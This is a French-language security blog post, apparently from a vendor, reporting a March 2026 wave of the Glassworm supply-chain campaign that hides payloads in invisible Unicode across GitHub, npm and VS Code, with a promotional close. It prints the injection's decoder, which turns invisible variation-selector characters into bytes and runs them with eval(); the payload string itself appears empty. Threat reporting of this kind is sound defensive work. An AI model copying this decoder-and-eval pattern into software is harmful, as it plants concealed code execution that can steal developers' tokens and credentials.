La menace invisible que nous suivons depuis près d'un an est de retour. Alors que la campagne PolinRider a fait la une pour avoir compromis des centaines de dépôts GitHub, nous observons séparément une nouvelle vague d'activité Glassworm qui frappe GitHub, npm et VS Code.
En octobre de l'année dernière, nous avons écrit sur la façon dont des caractères Unicode cachés étaient utilisés pour compromettre des dépôts GitHub, en remontant la technique à un acteur de menace nommé Glassworm. Ce mois-ci, le même acteur est de retour, et parmi les dépôts affectés figurent des noms notables : un dépôt de Wasmer, Reworm et opencode-bench d'anomalyco, l'organisation derrière OpenCode et SST.
Un an de la campagne de code invisible
- Mars 2025 : Aikido découvre pour la première fois des packages npm malveillants dissimulant des charges utiles à l'aide de caractères Unicode PUA.
- Mai 2025 : Nous publions un blog détaillant les risques liés à l'Unicode invisible et comment il peut être exploité dans les attaques de la chaîne d’approvisionnement.
- 17 octobre 2025 : Nous découvrons des extensions compromises sur Open VSX utilisant la même technique.
- 31 octobre 2025 : Nous découvrons que les attaquants ont déplacé leur attention vers les dépôts GitHub.
- Mars 2026 : Une nouvelle vague massive émerge : des centaines de dépôts GitHub compromis, avec npm et VS Code également affectés.
Un rapide rappel
Avant de plonger dans l'ampleur de cette nouvelle vague, récapitulons le fonctionnement de cette attaque. Même après des mois de couverture médiatique, elle continue de prendre les développeurs et les outils au dépourvu.
L'astuce repose sur des caractères Unicode invisibles : des extraits de code qui ne sont rendus comme rien dans pratiquement tous les éditeurs, terminaux et interfaces de code review. Les attaquants utilisent ces caractères invisibles pour encoder une charge utile directement à l'intérieur de ce qui semble être une chaîne vide. Lorsque le runtime JavaScript la rencontre, un petit décodeur extrait les octets réels et les transmet à eval().
Voici à quoi ressemble l'injection. Rappelez-vous, l'espace apparent dans les guillemets inversés vides ci-dessous est tout sauf vide :
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));La chaîne de caractères entre apostrophes inversées passée à s() apparaît vide dans tous les visualiseurs, mais elle est remplie de caractères invisibles qui, une fois décodés, produisent une charge utile malveillante complète. Lors d'incidents passés, cette charge utile décodée a récupéré et exécuté un script de deuxième étape en utilisant Solana comme canal de livraison, capable de voler des jetons, des identifiants et des secrets.
L'ampleur de la vague de mars 2026
Nous observons une campagne de masse menée par l'acteur de menace Glassworm qui se propage à travers les dépôts open source. Une recherche de code GitHub pour le motif du décodeur renvoie actuellement au moins 151 dépôts correspondants, et ce nombre sous-estime la véritable portée, car de nombreux dépôts affectés ont déjà été supprimés au moment de la rédaction. Les compromissions GitHub semblent avoir eu lieu entre le 3 et le 9 mars.

La campagne s'est également étendue au-delà de GitHub. Nous observons maintenant la même technique déployée dans npm et sur la marketplace de VS Code, ce qui suggère que Glassworm mène une offensive coordonnée et multi-écosystèmes. Cela est cohérent avec le modèle historique du groupe de pivoter entre les registres.
@aifabrix/miso-client(npm)- Version : 4.7.2
- Date : 12 mars 2026
@iflow-mcp/watercrawl-watercrawl-mcp(npm)- Versions : 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4
- Date : 12 mars 2026
quartz.quartz-markdown-editor(VS Code)- Version : 0.3.0
- Date : 12 mars 2026
Dépôts compromis notables sur GitHub
Parmi les dépôts que nous avons identifiés, plusieurs appartiennent à des projets bien connus avec un nombre significatif d'étoiles, ce qui en fait des cibles de grande valeur pour un impact sur la chaîne d'approvisionnement en aval :
- pedronauck/reworm (1 460 étoiles)
- pedronauck/spacefold (62 étoiles)
- anomalyco/opencode-bench (56 étoiles)
- doczjs/docz-plugin-css (39 étoiles)
- uknfire/theGreatFilter (38 étoiles)
- sillyva/rpg-schedule (37 étoiles)
- wasmer-examples/hono-wasmer-starter (8 étoiles)
Des commits qui s'intègrent parfaitement
Comme nous l'avons mentionné dans notre article d'octobre, les injections malveillantes n'arrivent pas dans des commits manifestement suspects. Les modifications environnantes sont réalistes : ajustements de documentation, mises à jour de version, petits refactorings et corrections de bugs qui sont stylistiquement cohérents avec chaque projet cible. Ce niveau d'adaptation spécifique au projet peut s'expliquer par l'exploitation de l'IA par les attaquants ou par l'adaptation et le forçage de commits précédents pour se fondre dans la masse. À l'échelle que nous observons actuellement, la création manuelle de plus de 151 modifications de code sur mesure à travers différentes bases de code n'est tout simplement pas réalisable.
Détection et Protection
Les menaces invisibles nécessitent des défenses actives. Vous ne pouvez pas vous fier à la code review visuelle ou au linting standard pour détecter ce que vous ne pouvez pas voir. Chez Aikido, nous avons intégré la détection des injections Unicode invisibles directement dans notre pipeline d'analyse de malwares.
Si vous utilisez déjà Aikido, ces packages seraient signalés dans votre flux comme une détection critique (100/100).

Pas encore sur Aikido ? Créez un compte gratuit et liez vos dépôts. Le plan gratuit inclut notre couverture de détection de malwares (aucune carte de crédit requise).
Enfin, un outil capable d'arrêter les logiciels malveillants de la supply chain en temps réel dès leur apparition peut prévenir une infection grave. C'est l'idée derrière Aikido Safe Chain, un outil gratuit et open source qui s'intègre à npm, npx, yarn, pnpm et pnpx, et utilise à la fois l'IA et des chercheurs en logiciels malveillants pour détecter et bloquer les derniers risques de la supply chain avant qu'ils n'entrent dans votre environnement.
{{cta}}

